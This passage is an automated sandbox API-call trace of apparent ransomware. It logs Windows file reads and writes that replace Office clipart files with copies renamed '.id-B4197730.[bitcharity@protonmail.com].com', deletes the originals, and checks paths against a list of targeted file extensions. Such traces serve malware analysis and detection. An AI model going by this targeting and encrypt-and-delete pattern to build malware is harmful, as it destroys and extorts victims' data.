lpOverlapped=0x0) returned 1 [0155.821] WriteFile (in: hFile=0x10cc, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x690, lpOverlapped=0x0) returned 1 [0155.822] ReadFile (in: hFile=0x10e8, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.822] WriteFile (in: hFile=0x10cc, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.822] SetEndOfFile (hFile=0x10cc) returned 1 [0155.822] CloseHandle (hObject=0x10cc) returned 1 [0155.826] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.826] SetEndOfFile (hFile=0x10e8) returned 1 [0155.827] CloseHandle (hObject=0x10e8) returned 1 [0155.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0155.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 1 [0155.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0155.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0155.857] lstrlenW (lpString=".doc") returned 4 [0155.857] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.857] lstrlenW (lpString=".docx") returned 5 [0155.857] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.857] lstrlenW (lpString=".pdf") returned 4 [0155.857] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.857] lstrlenW (lpString=".xls") returned 4 [0155.857] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.857] lstrlenW (lpString=".xlsx") returned 5 [0155.857] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.857] lstrlenW (lpString=".ppt") returned 4 [0155.857] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0155.857] lstrlenW (lpString=".zip") returned 4 [0155.857] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.857] lstrlenW (lpString=".rar") returned 4 [0155.857] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.858] lstrlenW (lpString=".bz2") returned 4 [0155.858] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.858] lstrlenW (lpString=".7z") returned 3 [0155.858] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0155.858] lstrlenW (lpString=".dbf") returned 4 [0155.858] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0155.858] lstrlenW (lpString=".1cd") returned 4 [0155.858] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68 [0155.858] lstrlenW (lpString=".jpg") returned 4 [0155.858] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.862] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.862] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1078 [0155.863] GetLastError () returned 0x0 [0155.863] ReadFile (in: hFile=0x1098, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x984, lpOverlapped=0x0) returned 1 [0155.927] WriteFile (in: hFile=0x1078, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x990, lpOverlapped=0x0) returned 1 [0155.928] ReadFile (in: hFile=0x1098, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.928] WriteFile (in: hFile=0x1078, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.928] SetEndOfFile (hFile=0x1078) returned 1 [0155.928] CloseHandle (hObject=0x1078) returned 1 [0155.929] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.929] SetEndOfFile (hFile=0x1098) returned 1 [0155.930] CloseHandle (hObject=0x1098) returned 1 [0155.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0155.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 1 [0155.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0155.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0155.930] lstrlenW (lpString=".doc") returned 4 [0155.931] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.931] lstrlenW (lpString=".docx") returned 5 [0155.931] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.931] lstrlenW (lpString=".pdf") returned 4 [0155.931] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.931] lstrlenW (lpString=".xls") returned 4 [0155.931] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.931] lstrlenW (lpString=".xlsx") returned 5 [0155.931] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.931] lstrlenW (lpString=".ppt") returned 4 [0155.931] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0155.931] lstrlenW (lpString=".zip") returned 4 [0155.931] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.931] lstrlenW (lpString=".rar") returned 4 [0155.931] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.931] lstrlenW (lpString=".bz2") returned 4 [0155.931] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.931] lstrlenW (lpString=".7z") returned 3 [0155.931] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0155.931] lstrlenW (lpString=".dbf") returned 4 [0155.931] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0155.931] lstrlenW (lpString=".1cd") returned 4 [0155.931] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0155.931] lstrlenW (lpString=".jpg") returned 4 [0155.931] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.950] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.950] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1078 [0155.951] GetLastError () returned 0x0 [0155.951] ReadFile (in: hFile=0x1098, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x3a94, lpOverlapped=0x0) returned 1 [0155.974] WriteFile (in: hFile=0x1078, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x3aa0, lpOverlapped=0x0) returned 1 [0155.975] ReadFile (in: hFile=0x1098, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.975] WriteFile (in: hFile=0x1078, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.975] SetEndOfFile (hFile=0x1078) returned 1 [0155.975] CloseHandle (hObject=0x1078) returned 1 [0155.981] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.981] SetEndOfFile (hFile=0x1098) returned 1 [0155.982] CloseHandle (hObject=0x1098) returned 1 [0155.983] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0155.983] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 1 [0155.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0155.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0155.983] lstrlenW (lpString=".doc") returned 4 [0155.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.983] lstrlenW (lpString=".docx") returned 5 [0155.983] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.983] lstrlenW (lpString=".pdf") returned 4 [0155.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.984] lstrlenW (lpString=".xls") returned 4 [0155.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.984] lstrlenW (lpString=".xlsx") returned 5 [0155.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.984] lstrlenW (lpString=".ppt") returned 4 [0155.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0155.984] lstrlenW (lpString=".zip") returned 4 [0155.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.984] lstrlenW (lpString=".rar") returned 4 [0155.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.984] lstrlenW (lpString=".bz2") returned 4 [0155.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.984] lstrlenW (lpString=".7z") returned 3 [0155.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0155.984] lstrlenW (lpString=".dbf") returned 4 [0155.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0155.984] lstrlenW (lpString=".1cd") returned 4 [0155.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0155.984] lstrlenW (lpString=".jpg") returned 4 [0155.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.985] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.985] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1078 [0155.985] GetLastError () returned 0x0 [0155.985] ReadFile (in: hFile=0x1098, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x752, lpOverlapped=0x0) returned 1 [0156.022] WriteFile (in: hFile=0x1078, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x760, lpOverlapped=0x0) returned 1 [0156.023] ReadFile (in: hFile=0x1098, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.023] WriteFile (in: hFile=0x1078, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0156.023] SetEndOfFile (hFile=0x1078) returned 1 [0156.027] CloseHandle (hObject=0x1078) returned 1 [0156.034] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.034] SetEndOfFile (hFile=0x1098) returned 1 [0156.035] CloseHandle (hObject=0x1098) returned 1 [0156.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0156.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01636_.wmf")) returned 1 [0156.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0156.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0156.037] lstrlenW (lpString=".doc") returned 4 [0156.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.037] lstrlenW (lpString=".docx") returned 5 [0156.037] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0156.037] lstrlenW (lpString=".pdf") returned 4 [0156.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.037] lstrlenW (lpString=".xls") returned 4 [0156.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.037] lstrlenW (lpString=".xlsx") returned 5 [0156.037] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0156.037] lstrlenW (lpString=".ppt") returned 4 [0156.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0156.037] lstrlenW (lpString=".zip") returned 4 [0156.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.037] lstrlenW (lpString=".rar") returned 4 [0156.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.037] lstrlenW (lpString=".bz2") returned 4 [0156.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.037] lstrlenW (lpString=".7z") returned 3 [0156.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0156.037] lstrlenW (lpString=".dbf") returned 4 [0156.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0156.037] lstrlenW (lpString=".1cd") returned 4 [0156.037] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0156.038] lstrlenW (lpString=".jpg") returned 4 [0156.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 Thread: id = 860 os_tid = 0x1c20 [0128.659] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x3d10050 [0128.660] lstrlenW (lpString="C:") returned 2 [0128.660] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x348fcf8 | out: lpFindFileData=0x348fcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x5bab78 [0128.662] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0128.662] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0128.662] lstrlenW (lpString="$GetCurrent") returned 11 [0128.662] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0128.662] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x3d30060 [0128.663] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0128.663] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x5babb8 [0128.778] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0128.778] FindNextFileW (in: hFindFile=0x5babb8, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1 [0128.778] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0128.778] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0128.778] lstrlenW (lpString="Logs") returned 4 [0128.778] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0128.778] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x3d40068 [0128.779] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0128.779] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5bac78 [0128.779] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.779] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0128.779] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0128.779] lstrlenW (lpString=".1cd") returned 4 [0128.779] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0128.780] lstrlenW (lpString=".3ds") returned 4 [0128.780] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0128.780] lstrlenW (lpString=".3fr") returned 4 [0128.780] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0128.780] lstrlenW (lpString=".3g2") returned 4 [0128.780] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0128.780] lstrlenW (lpString=".3gp") returned 4 [0128.780] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0128.780] lstrlenW (lpString=".7z") returned 3 [0128.780] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0128.780] lstrlenW (lpString=".accda") returned 6 [0128.780] lstrcmpiW (lpString1=".accda", lpString2="66.log") returned -1 [0128.780] lstrlenW (lpString=".accdb") returned 6 [0128.780] lstrcmpiW (lpString1=".accdb", lpString2="66.log") returned -1 [0128.780] lstrlenW (lpString=".accdc") returned 6 [0128.780] lstrcmpiW (lpString1=".accdc", lpString2="66.log") returned -1 [0128.780] lstrlenW (lpString=".accde") returned 6 [0128.780] lstrcmpiW (lpString1=".accde", lpString2="66.log") returned -1 [0128.780] lstrlenW (lpString=".accdt") returned 6 [0128.780] lstrcmpiW (lpString1=".accdt", lpString2="66.log") returned -1 [0128.780] lstrlenW (lpString=".accdw") returned 6 [0128.780] lstrcmpiW (lpString1=".accdw", lpString2="66.log") returned -1 [0128.780] lstrlenW (lpString=".adb") returned 4 [0128.780] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0128.780] lstrlenW (lpString=".adp") returned 4 [0128.780] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0128.780] lstrlenW (lpString=".ai") returned 3 [0128.780] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0128.780] lstrlenW (lpString=".ai3") returned 4 [0128.780] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0128.780] lstrlenW (lpString=".ai4") returned 4 [0128.781] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0128.781] lstrlenW (lpString=".ai5") returned 4 [0128.781] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0128.781] lstrlenW (lpString=".ai6") returned 4 [0128.781] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0128.781] lstrlenW (lpString=".ai7") returned 4 [0128.781] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0128.781] lstrlenW (lpString=".ai8") returned 4 [0128.781] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0128.781] lstrlenW (lpString=".anim") returned 5 [0128.781] lstrcmpiW (lpString1=".anim", lpString2="6.log") returned -1 [0128.781] lstrlenW (lpString=".arw") returned 4 [0128.781] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0128.781] lstrlenW (lpString=".as") returned 3 [0128.781] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0128.781] lstrlenW (lpString=".asa") returned 4 [0128.781] lstrcmpiW 